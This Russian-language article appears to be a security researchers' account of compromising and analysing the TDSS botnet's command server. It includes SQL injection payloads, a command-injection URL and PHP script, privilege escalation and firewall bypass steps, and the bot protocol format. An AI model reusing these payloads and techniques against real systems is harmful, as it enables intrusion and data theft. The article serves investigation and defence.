    servers=https://d45648675.cn/;https://d92378523.cn/;https://91.212.226.62/
    wspservers=http://b11335599.cn/;http://b00882244.cn/
    popupservers=http://m3131313.cn/

    Управление ботнетом производится с трёх серверов, указанных в поле serversфайла конфигурации. Именно их мы проверили на предмет уязвимостей в первую очередь.
    В результате анализа бинарного файла бота было установлено, что отправка данных на сервера осуществляется по следующему алгоритму:
    1. формируется пакет данных;
    2. этот пакет шифруется по алгоритму RC4, причём в качестве ключа используется IP-адрес либо доменное имя целевого сервера;
    3. пакет данных дополнительно кодируется по алгоритму Base64;
    4. данные отправляются на сервер.
    Таким образом, пседвокод алгоритмов шифровки и дешифровки выглядит следующим образом:


    сhar *encoded_data = base64_encode(rc4_encrypt(data, key));
    сhar *decoded_data = rc4_decrypt(base64_decode(data), key);

    Анализ данных, передаваемых ботом на сервер, выявил уязвимости, позволяющие произвести атаки Blind SQL injection и SQL Injection.
    В частности, в результате неправильного GET-запроса сервер возвращал сообщение об ошибке, в тексте которого содержалась закодированная строка и полный путь к уязвимому скрипту на сервере.
    Сообщение об ошибке при неправильном запросе к серверу
    Сообщение об ошибке при неправильном запросе к серверу
    После расшифровки строки по описанному выше алгоритму была получена команда следующего вида:


    remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success

    Точное назначение этой команды на этапе атаки было неясным. Однако в результате её анализа было установлено, что третий параметр в списке, разделенном символом вертикальной черты, является уязвимым.
    Первый вариант эксплойта, предназначенного для чтения данных из базы, был разработан с использованием метода задержки. Запрос для атаки выглядел следующим образом:


    remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

    В основу этого эксплойта положена команда, при успешном выполнении которой ответ от базы данных придет с задержкой на 3 секунды, тогда как при невыполнении задержки не произойдет. Это стандартный вариант реализации атаки Blind SQL injection с задержкой с тем исключением, что вместо функции benchmark()использована функция sleep(), так как последняя не создает нагрузки на СУБД.

    База данных

    Приступив к атаке, мы первым делом проверили, имеет ли текущий пользователь привилегию на чтение и запись данных на сервере (File_priv). Запрос, отправленный на сервер для этой цели, до шифрования выглядел следующим образом:


    remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS(CHAR(64),User,Host) LIKE USER())),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

    Результат работы эксплойта для Blind SQL Injection с задержкой
    Результат работы эксплойта для Blind SQL Injection с задержкой
    В результате успешной эксплуатации стало ясно, что существует возможность чтения и записи для определенных файлов на сервере. Но, поскольку читать файлы при помощи этого эксплойта было бы слишком медленным, запрос к базе данных был переделан следующим образом:


    remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,1,(select 1 union select 2))|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

    При истинном значении условия новая команда вместо задержки возвращает ошибку, а при ложном — завершается успешно.
    После считывания и изучения базы данных мы переключились на чтение файлов через уязвимость.
    Работа эксплойта без задержки
    Работа эксплойта без задержки

    Скрипты

    В результате анализа кода файла index.php и подключаемых им скриптов была найдена ещё одна уязвимость, которая существенно облегчала исследование благодаря возможности сведения атаки типа Blind SQL Injection к классической атаке SQL Injection. Рассмотрим код файлов index.php и modules.php:
    <?php
    try {
    
    ...   
    
        //$_SERVER["REQUEST_URI"]
        $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
        $requestCount = 0;
        $requestHost = $_SERVER["HTTP_HOST"];
    
        if( $request ) {
            $request      = explode( '|', $request );
            $requestCount = sizeof( $request );
        } else {
            header("HTTP/1.0 404 Not Found");
            exit();
        }
    
    ...
    
        } elseif( $request[0] == 'module' ) {
            DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );
    
             
            include( 'modules.php' );
            
            DBase::disconnect();
        } 
    
    ...
    
        } else {
            var_dump($request);
            var_dump( base64_encode( rc4Encrypt($_SERVER["HTTP_HOST"], 'remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success') ) );
            header("HTTP/1.0 404 Not Found");
            exit();
        }
        
        
    
    
    } catch( Exception $e ) {
        print $e;
    }
    Часть скрипта index.php (многоточиями замещён опущенный код)
    <?php
    require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );
    
        if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
            $modId    = $matches[1];
            $modCrypt = $matches[2];
        } else {
            $modId    = $request[1];
            $modCrypt = FALSE;
        }
    
        $modDetails = mModules::details( $modId );
    
        if( $modCrypt ) {
            print rc4Encrypt( $modCrypt, $modDetails['modData'] );
        } else {
            print $modDetails['modData'];
        }
        
        mModules::increment( $modId );
    Уязвимый параметр в скрипте modules.php
    Как видно из последнего листинга, значение параметра $request[1] не проверяется перед использованием в коде скрипта. Для данной уязвимости был разработан эксплойт, позволявший выполнять чтение файлов и базы данных в 10 раз быстрее, чем предыдущий:


    module|-1 union select 0,1,count(*),3 from users

    Данный запрос возвращает количество записей в таблице users в тексте сообщения об ошибке, возвращенном сервером.
    Проверка эксплойта SQL Injection и ответ сервера на запрос
    Проверка эксплойта SQL Injection и ответ сервера на запрос
    Таким образом, была получена возможность использовать атаку типа SQL Injection, что существенно упростило и ускорило изучение сервера.
    Следующей задачей было создание файла со скриптом, при помощи которого можно было бы выполнять команды к серверу напрямую, не используя атаку на MySQL.

    «Чёрный ход»

    На этапе внедрения скрипта для удалённого управления сервером возникло затруднение: а именно, все GET-запросы к серверу перенаправлялись на файлindex.php. Таким образом, успешно разместив на сервере скрипт «чёрного хода», мы не могли к нему обратиться. Обойти это ограничение можно было путем модификации файла конфигурации веб-сервера.
    Для поиска файла конфигурации был произведен опрос различных возможных путей к нему через уязвимость SQL Injection. В качестве инструмента для тестирования вариантов пути к файлу использовалась программа с открытым кодом wfuzz, слегка модифицированная для обеспечения шифровки данных перед их отправкой на сервер. В результате тестирования был найден файл конфигурации веб-сервера:/etc/lighttpd/lighttpd.conf.
    Содержимое файла lighttpd.conf
    Содержимое файла lighttpd.conf
    Листинг файла конфигурации дает представление о том, что перенаправление запросов на index.php происходило с помощью модуля mod_rewrite, а настройки для виртуальных серверов подключались в отдельном скрипте на языке Perl. В указанном скрипте, в свою очередь, подключались файлы конфигурации с настройками для отдельных виртуальных серверов, имена которых получались путем перечисления файлов в заданной директории. Таким образом, путь к нужному нам для обхода перенаправления файлу был по-прежнему неизвестен.
    Для файла с настройками перенаправления был составлен и протестирован объемный список, содержащий доменные имена и IP-адреса, входящие и входившие в ботнет TDSS.
    /etc/lighttpd/sites-enabled/212.117.162.50.conf
    /etc/lighttpd/sites-enabled/212.117.162.1.conf
    /etc/lighttpd/sites-enabled/91.212.226.59.conf
    /etc/lighttpd/sites-enabled/91.212.226.60.conf
    /etc/lighttpd/sites-enabled/91.212.226.61.conf
    /etc/lighttpd/sites-enabled/91.212.226.62.conf
    /etc/lighttpd/sites-enabled/91.212.226.63.conf
    /etc/lighttpd/sites-enabled/91.212.226.64.conf
    /etc/lighttpd/sites-enabled/91.212.226.65.conf
    /etc/lighttpd/sites-enabled/91.212.226.66.conf
    /etc/lighttpd/sites-enabled/91.212.226.67.conf
    /etc/lighttpd/sites-enabled/195.24.72.6.conf
    /etc/lighttpd/sites-enabled/83.243.8.6.conf
    /etc/lighttpd/sites-enabled/server.lu.conf
    /etc/lighttpd/sites-enabled/www.server.lu.conf
    Часть списка возможных путей к файлам конфигурации
    Однако желаемый результат был достигнут лишь в результате интеллектуального перебора возможных путей вручную. Итак, был найден файл конфигурации целевого виртуального сервера: /etc/lighttpd/sites-enabled/engine.conf.
    $SERVER["socket"] == "91.212.226.63:80" {
            $HTTP["host"] =~ "(.*)?" {
     server.document-root = "/var/www/dm_builder/php/"
    #                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                    url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )
      accesslog.filename = "/var/log/lighttpd/build.log"
            }
            server.document-root = "/var/www/dm_builder/php/"
    }
    
    $SERVER["socket"] == "212.117.162.50:80" {
            $HTTP["host"] =~ "(.*)?" {
            server.document-root = "/var/www/dm_builder/php/"
    #                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                    url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )
                    accesslog.filename = "/var/log/lighttpd/build.log"
            }
            server.document-root = "/var/www/dm_builder/php/"
    }
    
    $SERVER["socket"] == "91.212.226.60:443" {
            ssl.engine = "enable"
            ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
            server.document-root = "/var/www/engine/public"
            server.errorlog = "/var/log/lighttpd/engine_error.log"
            accesslog.filename = "/var/log/lighttpd/engine_access.log"
            url.rewrite-once = ( "^/(.*)$" => "/index.php?request=$1" )
    }
    Часть файла engine.conf
    Файл конфигурации содержал настройки для шести серверов, только для двух из которых были созданы правила перенаправления HTTP-запросов на файл index.php. Для остальных серверов осуществлялось перенаправление HTTPS-запросов на скрипт MakeBuild.php.
    Анализ скрипта MakeBuild.php с помощью последнего из разработанных эксплойтов показал, что в его задачи входит сборка и конфигурация исполняемого файла руткита TDSS. Скрипт принимает на вход несколько параметров, один из которых предоставляет собой отладочную информацию о сборке трояна.
    <?
    if (!isset($_GET['aid'])) exit();
    $AID=$_GET['aid'];
    $SID=$_GET['sid'];
    if (empty($SID)) $SID=0;
    
    $DBG=$_GET['dbg'];
    $ENC=$_GET['enc'];
    
    /*if ($AID == 20034 || $AID == 20124)
    {
     $url = "http://213.133.110.18/03kd7nml094hx09/?aid={$AID}&sid={$SID}";
     if ($ENC) $url .= "&enc={$ENC}";
     if ($DBG) $url .= "&dbg={$DBG}";
     header("HTTP/1.1 302 Found");
     header("Location: {$url}");
     exit();
    }*/
    
    $BuildPath="./builds/{$AID}-{$SID}.exe";
    $ExitStatus=null;
    
    if(!chdir('/var/www/builder/')) exit();//exit('Error: Can\'t ChDir');
    exec("/usr/bin/wine builder.exe {$AID} {$SID}",$OutPut,$ExitStatus);
    if ($DBG)
    {
    unlink($BuildPath);
    echo "<html><pre>\n+------------------------------+\n"; print_r($OutPut); echo "\n=------------------------------=\n"; exit('Builder exit status: '.$ExitStatus);
    }
    Часть скрипта MakeBuild.php
    Скрипт MakeBuild.php оказался уязвимым к атаке на удаленное исполнение кода (remote code execution). В частности, как видно из листинга, входные параметры скрипта не фильтруются, а передаются напрямую в функцию exec(). Дополнительно, если использовать параметр dbg в запросе к скрипту, то в отладочном выводе будет напечатан результат выполнения команды.
    В результате выполнения следующего запроса выводится список файлов в текущей директории:


    http://91.212.226.63/087dggl094aa/MakeBuild.php?aid=;ls;&dbg=1

    Через эту уязвимость на сервер был загружен скрипт для удаленного управления.

    Повышение привилегий

    Права root на сервере были получены с помощью эксплойта для уязвимостиsock_sendpage(), который потребовал небольшой модификации для обеспечения его выполнения в 64-битной операционной системе сервера.
    Директория /root на командном сервере сервере TDSS
    Директория /root на командном сервере сервере TDSS

    Панель управления

    Настройки для панели управления ботнетом содержались в файлеengine_admin.conf, расположенном в той же директории, что и файл engine.conf.
    $SERVER["socket"] == "91.212.226.59:443" {
            ssl.engine = "enable"
            ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
    #        $HTTP["host"] =~ "^engineadmin\.com$" {
                    server.document-root = "/var/www/engine/tools/public"
                    server.errorlog = "/var/log/lighttpd/admin.engine_error.log"
                    accesslog.filename = "/var/log/lighttpd/admin.engine_access.log"
    
                    url.rewrite-once = ( "^/([0-9a-zA-Z/]+)/?\??(.*=.*)?$" => "/index.php?request=$1&$2" )
    
                    $HTTP["url"] =~ "^/" {
                            auth.backend = "htpasswd"
                            auth.backend.htpasswd.userfile = "/etc/lighttpd/htpasswd.engine"
                            auth.require = (
                                    "/" => (
                                            "method" => "basic",
                                            "realm" => "Use your credit card number as username, cvv2 as password. Thank you ;)",
                                            "require" => "valid-user"
                                    )
                            )
                    }
    
    #        }
    }
    Содержимое файла engine_admin.conf
    Как видно из файла, адрес панели администрирования — 91.212.226.59. Однако открыть этот адрес в веб-браузере не удавалось: наш IP-адрес не входил в «белый список» доступа. Обойти эту защиту позволила модификация правил фаервола, описанных в файле /root/ipt.rules.
    -A INPUT -i lo -j ACCEPT 
    -A INPUT -s 66.148.74.126/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT 
    -A INPUT -s 188.40.72.68/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 188.40.72.125/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 204.12.213.144/29 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 91.212.226.49/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -d 212.117.162.50/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -d 91.212.226.59/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable
    -A INPUT -i eth0 -p tcp -m tcp -m multiport --dports 3306 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -s 195.138.81.135/32 -p tcp -m tcp --dport 22 -j ACCEPT 
    -A INPUT -i eth0 -p tcp -m tcp --dport 873 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j REJECT --reject-with icmp-port-unreachable 
    COMMIT
    Изначальное содержимое файла ipt.rules
    Таким образом, доступ к сайту панели управления был получен, но для входа в панель требовалась стандартная авторизация (Basic Authorisation). Пароли для входа хранились в файле htpasswd.engine в зашифрованном виде. Но, вместо подбора паролей, для первого доступа мы подменили файл htpasswd.engineцеликом. Позже выяснилось, что логины и пароли к панели управления хранились в базе данных без шифрования, что позволило использовать их для дальнейшего доступа.
    Запрос авторизации при входе в административную панель
    Запрос авторизации при входе в административную панель
    Панель администрирования командного сервера ботнета представляла собой удобный веб-интерфейс для получения подробной статистики о зараженных компьютерах. Стоит отметить такие возможности, как отображение информации о количестве загрузок, статистика по странам, операционным системам и веб-браузерам зараженных компьютеров, просмотр подгружаемых модулей и запущенных на выполнение команд.
    Статистика числа заражений по дням
    Статистика числа заражений по дням
    Статистика по операционным системам
    Статистика по операционным системам
    Запущенные на выполнение команды
    Запущенные на выполнение команды
    Статистика по странам
    Статистика по странам
    Модули TDSS
    Модули TDSS

    Смена серверов

    Тем временем начала распространяться новая версия бота TDSS (3.64). В этой версии сменились адреса командных серверов.

    [tdlcmd]
    servers=https://a57990057.cn/;https://a58990058.cn/;https://94.228.209.145/
    wspservers=http://c36996639.cn/;http://c58446658.cn/
    popupservers=http://m2121212.cn/

    .
    Скрипты новых серверов претерпели некоторые изменения. В частности, была исправлена уязвимость с выводом ошибки при неверном GET-запросе к серверу. Но, поскольку все остальные найденные ранее уязвимости успешно функционировали, то было возможно прочитать файл index.php. Его код оказался доработан: теперь все исключения записывались в файл лога. Настройки сервера также претерпели изменения. В частности, в дополнение к HTTP-серверу lighttpd в качествефронтенда был установлен дополнительный веб-сервер nginx.
    Конфигурацонный файл виртуальных серверов на новом сервере остался прежним:engine.conf.
    Таким образом, панель администрирования сервера теперь располагалась по адресу 188.72.242.191, а наш скрипт удаленного управления остался на сервере с по адресу 188.72.242.190. Как видно из листинга, каждому IP-адресу соответствует отдельное доменное имя. Возможность использования «чёрного хода» оказалась недоступна. Для обхода этого ограничения был разработан следующий скрипт:
    <?php
    
    $fp = fsockopen("ssl://94.228.209.145",443,$errno,$errstr);
    if(!$fp) die("[e] $errno,$errstr");
    $header  = "GET /MakeBuild.php?aid=;".urlencode($argv[1]).";&dbg=1 HTTP/1.1\r\n";
    $header .= "Host: bld.newnetengine.com\r\n";
    $header .= "Connection: close\r\n\r\n";
    
    fwrite($fp,$header);
    while(!feof($fp)) print(fgets($fp,256));
    fclose($fp);
    
    print $buff;
    Скрипт для выполнения команд на новом сервере через файл MakeBuild.php
    Данный скрипт обеспечивает отправку запроса к скрипту MakeBuild.php путем подстановки доменного имени сервера, на котором хранится файл скрипта (bld.newnetengine.com), в поле Host HTTP-запроса. Получив такой запрос, HTTP-сервер nginx на командном сервере перенаправлял его на указанный сервер и возвращал ответ.

    Часть 2. Анализ

    Командный сервер ботнета работает под управлением 64-разрядной операционной системы Ubuntu Linux:


    # uname -a
    Linux C020 2.6.29.2 #1 SMP Sun Jul 26 11:29:05 CEST 2009 x86_64 GNU/Linux 
    # cat /etc/lsb-release
    DISTRIB_ID=Ubuntu
    DISTRIB_RELEASE=9.04
    DISTRIB_CODENAME=jaunty
    DISTRIB_DESCRIPTION="Ubuntu 9.04"

    Для сетевого интерфейса eth0 назначено 10 IP-адресов:


    # ifconfig
    eth0      Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:212.117.162.50  Bcast:212.117.162.255  Mask:255.255.255.0
              inet6 addr: fe80::221:85ff:fe63:2c55/64 Scope:Link
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:8401814139 errors:0 dropped:0 overruns:0 frame:0
              TX packets:7557368326 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000 
              RX bytes:855626520252 (855.6 GB)  TX bytes:4595270022127 (4.5 TB)
              Interrupt:17 Base address:0x2000 
    
    eth0:1    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.59  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:2    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.60  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:3    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.61  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:4    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.62  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:5    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.63  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:6    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.64  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:7    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.65  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:8    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.66  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:9    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.67  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    lo        Link encap:Local Loopback  
              inet addr:127.0.0.1  Mask:255.0.0.0
              inet6 addr: ::1/128 Scope:Host
              UP LOOPBACK RUNNING  MTU:16436  Metric:1
              RX packets:10295737718 errors:0 dropped:0 overruns:0 frame:0
              TX packets:10295737718 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:0 
              RX bytes:3644745121946 (3.6 TB)  TX bytes:3644745121946 (3.6 TB)

    Из них четыре (91.212.226.60, 91.212.226.61, 91.212.226.62 и 91.212.226.64) используются для доступа к веб-шлюзу, с которым работают боты, два (91.212.226.63 и 212.117.162.50) — для доступа к веб-интерфейсу для сборки и конфигурации бота, и один (91.212.226.59) — для доступа к панели администрирования ботнета.
    Учетные записи локальных пользователей в файле /etc/shadow
    Учетные записи локальных пользователей в файле /etc/shadow
    Список запущенных процессов на сервере на момент анализа выглядел следующим образом:


    PID TTY      STAT   TIME COMMAND
     1076 ?        S<s    0:04 /sbin/udevd --daemon
     1575 ?        S    1154:22 /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
     2453 ?        Ss     0:00 /sbin/mdadm --monitor --pid-file /var/run/mdadm/monitor.pid --daemonise --scan --syslog
     3801 tty2     Ss+    0:00 /sbin/getty 38400 tty2
     3826 ?        Ss     0:16 /sbin/syslogd -u syslog
     3845 ?        S      0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
     3848 ?        Ss     0:00 /sbin/klogd -P /var/run/klogd/kmsg
     3890 ?        Ss     1:54 /bin/dbus-daemon --system
     3936 ?        Ssl   69:36 /usr/sbin/named -u bind
     3973 ?        Ss     0:01 /usr/sbin/ntpd -p /var/run/ntpd.pid -u 108:117 -g
     3986 ?        Ss     0:01 /usr/sbin/sshd
     3991 ?        Sl   1736:18 /usr/bin/memcached -m 2048 -p 11211 -u nobody -l 127.0.0.1
     4067 ?        Ss     0:00 /usr/lib/postfix/master
     4084 ?        S      0:00 qmgr -l -t fifo -u
     4086 ?        Ss     0:00 /usr/sbin/winbindd
     4113 ?        S      0:00 /usr/sbin/winbindd
     4118 ?        Ss    86:34 avahi-daemon: running [C020.local]
     4119 ?        Ss     0:00 avahi-daemon: chroot helper
     4134 ?        S      0:00 /usr/bin/rsync --no-detach --daemon --config /etc/rsyncd.conf
     4185 ?        Ss     0:03 /usr/sbin/cron
     4220 tty1     Ss+    0:00 /sbin/getty 38400 tty1
     4225 ?        Ssl   36:54 /usr/sbin/console-kit-daemon
     4436 ?        S<   223:30 [loop3]
     4465 ?        S<    72:26 [kjournald2]
     4498 ?        S      0:00 /bin/sh /usr/bin/mysqld_safe
     4728 ?        SLl  87943:36 /usr/sbin/mysqld
     6773 ?        S      0:39 /usr/bin/php-cgi
     7303 ?        S      0:32 /usr/bin/php-cgi
     7320 ?        S      0:31 /usr/bin/php-cgi
     7447 ?        S      0:27 /usr/bin/php-cgi
     7590 ?        S      0:25 /usr/bin/php-cgi
     7796 ?        S      0:19 /usr/bin/php-cgi
     7944 ?        S      0:16 /usr/bin/php-cgi
     7982 ?        S      0:15 /usr/bin/php-cgi
     8002 ?        S      0:00 /USR/SBIN/CRON
     8048 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
     8058 ?        S      0:05 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
     8243 ?        S      0:00 /USR/SBIN/CRON
     8282 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
     8287 ?        S      0:06 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
     8467 ?        S      0:00 /USR/SBIN/CRON
     8483 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
     8484 ?        S      0:03 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
     8637 ?        S      0:00 pickup -l -t fifo -u -c
     8812 ?        S      0:30 /usr/bin/php-cgi
     8903 ?        S      0:26 /usr/bin/php-cgi
     8937 ?        S      0:18 /usr/bin/php-cgi
     8966 ?        S      0:17 /usr/bin/php-cgi
     8971 ?        S      0:16 /usr/bin/php-cgi
     9057 ?        S      0:08 /usr/bin/php-cgi
     9081 ?        S      0:05 /usr/bin/php-cgi
     9249 ?        S      0:03 /usr/bin/php-cgi
     9299 ?        S      0:00 sh -c ps ax
     9300 ?        R      0:00 ps ax
    26004 ?        S      0:00 [pdflush]
    26007 ?        S      0:01 [pdflush]
    27746 ?        Ss     0:00 ssh-agent
    28031 ?        Ss     0:01 /usr/bin/php-cgi
    28042 ?        Ss     0:03 /usr/bin/php-cgi

    База данных и скрипты

    В качестве СУБД на сервере используется MySQL, а в качестве веб-сервера — LightTPD, к которому в качестве обработчика CGI-приложений подключен пакет PHP. Кроме того, часть данных, обращения к которым производятся наиболее часто, кэшируются в памяти с помощью программы memcached.
    Скрипты панели администрирования и шлюза для ботов находятся в директории/var/www/engine, которая имеет следующую структуру:


    +--- cron              - PHP-скрипты, исполняемые по расписанию
    +--- data              - база адресов GeoIP и некоторые текстовые файлы
    +--- library           - различные библиотеки PHP, используемые скриптами
    +--- public            - скрипты, обрабатывающие запросы от ботов
    |                        (корневая директория веб-сервера, обслуживающего ботов)
    \--- tools
    |    +--- controllers  - PHP-скрипты для различных страниц панели администрирования
    |    +--- layouts      - главный HTML-шаблон для панели администрирования
    |    +--- public       - основные скрипты панели администрирования 
    |    |                   (корневая директория веб-сервера, обслуживающего панель администрирования)
    |    +--- views        - HTML-шаблоны-для различных страниц панели администрирования
    +--- configuration.php - файл настроек доступа к базе данных и т.п.

    На момент получения доступа к серверу база данных содержала 47 таблиц с общим количеством записей порядка 17 719 469 и занимала на диске примерно 2,6 ГБ.
    Имена и назначения таблиц:
    Имя таблицыЧисло записейОбъём данныхНазначение
    affiliates51280,0 кБУчётные записи партнёров и статистика по ним
    affiliatesaccounts60764,0 кБ
    affiliatesregistrations50764,0 кБ
    affiliatesstatistics≈ 62 1368,5 МБ
    affiliatesstatisticsbrowser≈ 53 0727,1 МБ
    affiliatesstatisticsbuild≈ 5 979 072655,8 МБ
    affiliatesstatisticscountry≈ 245 25326,1 МБ
    affiliatesstatisticssts633,3 кБ
    affiliatesstatisticssystem≈ 56 9827,1 мБ
    bots≈ 5 247 1991,4 ГБОсновная таблица с информацией о ботах
    browsers3 690240,0 кБДополнительная информация о ботах (версии веб-браузеров, версии руткита и модуляTDLCMD.DLL, страна, версия операционной системы)
    builds17216,0 кБ
    countries25316,0 кБ
    systems10116,0 кБ
    commands5516,0 кБКоманды ботам, статистика по ним, история команд и дополнительные параметры
    commandsexecuted≈ 4 546 977337,5 МБ
    commandshistory1 590224,0 кБ)
    commandsinfo5564,0 кБ
    commandsproperties90964,0 кБ
    modules13400,0 кБИсполняемые модули для ботов
    redirects0URL-перенаправления
    redirectsexecuted0
    remover_bho6 0501,5 МБСтатистика модуляremover
    remover_bho_stat201,9 кБ
    remover_dda642144,0 кБ
    remover_dda_stat211,9 кБ
    remover_dir≈ 37 9917,5 МБ
    remover_dir_stat201,9 кБ
    remover_errors18 9142,5 МБ
    remover_extra≈ 289 44954,6 МБ
    remover_extra_stat181,9 кБ
    remover_guid≈ 21 2204,5 МБ
    remover_guid_stat201,9 кБ
    rules0Неизвестно
    ruleshistory0
    statuses1 98272,3 кБНеизвестно
    statuses_limits1 138 919115,0 МБ
    statuses_statistics3 956102,8 кБ
    users1016,0 кБУчётные записи пользователей панели управления
    Далее будет приведена структура наиболее интересных таблиц и некоторые пояснения, касающиеся работы с ними.

    Запросы от ботов к серверу

    Сразу после инсталляции бот инициирует запрос команд от сервера и повторяет этот запрос через заданный в конфигурации интервал времени. Запросы бота, как уже было описано в первой части статьи, шифруются по алгоритму RC4 с использованием имени целевого сервера в качестве ключа, затем кодируются по алгоритму base64 и отправляются на веб-шлюз командного сервера по протоколу HTTPS.
    Формат запросов на получение команд может отличаться от одной версии бота к другой. Для большинства версий, включая самые последние, запрос выглядит следующим образом:


    bot_ID|aff_ID|aff_SID|rootkit_ver|tdlcmd_ver|os_ver|lang|browser|build_date|install_date

    Назначение полей запроса:
    ПолеНазначение
    bot_IDУникальный идентификатор бота, например, 7a91eb86-a6be-4db5-8694-0337dad2c75d
    aff_IDИдентификатор партнёра, владеющего ботом
    aff_SIDИдентификатор дополнительной учётной записи партнёра
    rootkit_verВерсия руткита
    tdlcmd_verВерсия модуля TDLCMD.DLL (основной модуль «полезной назрузки» бота)
    os_verВерсия операционной системы
    langЯзык операционной системы
    browserБраузер, используемый на заражённом компьютере. Значение этого поля представляет собой путь к исполняемому файлу браузера, извлеченный из ключа реестраHKEY_LOCAL_MACHINE\SOFTWARE\Classes\HTTP\shell\open\command
    build_dateДата сборки исполняемых файлов бота (необязательный параметр)
    install_dateДата заражения (необязательный параметр)
    Помимо запросов на получение команд, скрипты командного сервера также могут обрабатывать и ряд специальных запросов, которые имеют следующий вид:


    module_ID|value_1|value_2|...|value_N

    ПолеНазначение
    module_IDИдентификатор типа запроса (модуля, которому он адресован)
    value_1value_NПроизвольное количество строковых и/или числовых данных, формат и назначения которых зависят от типа запроса
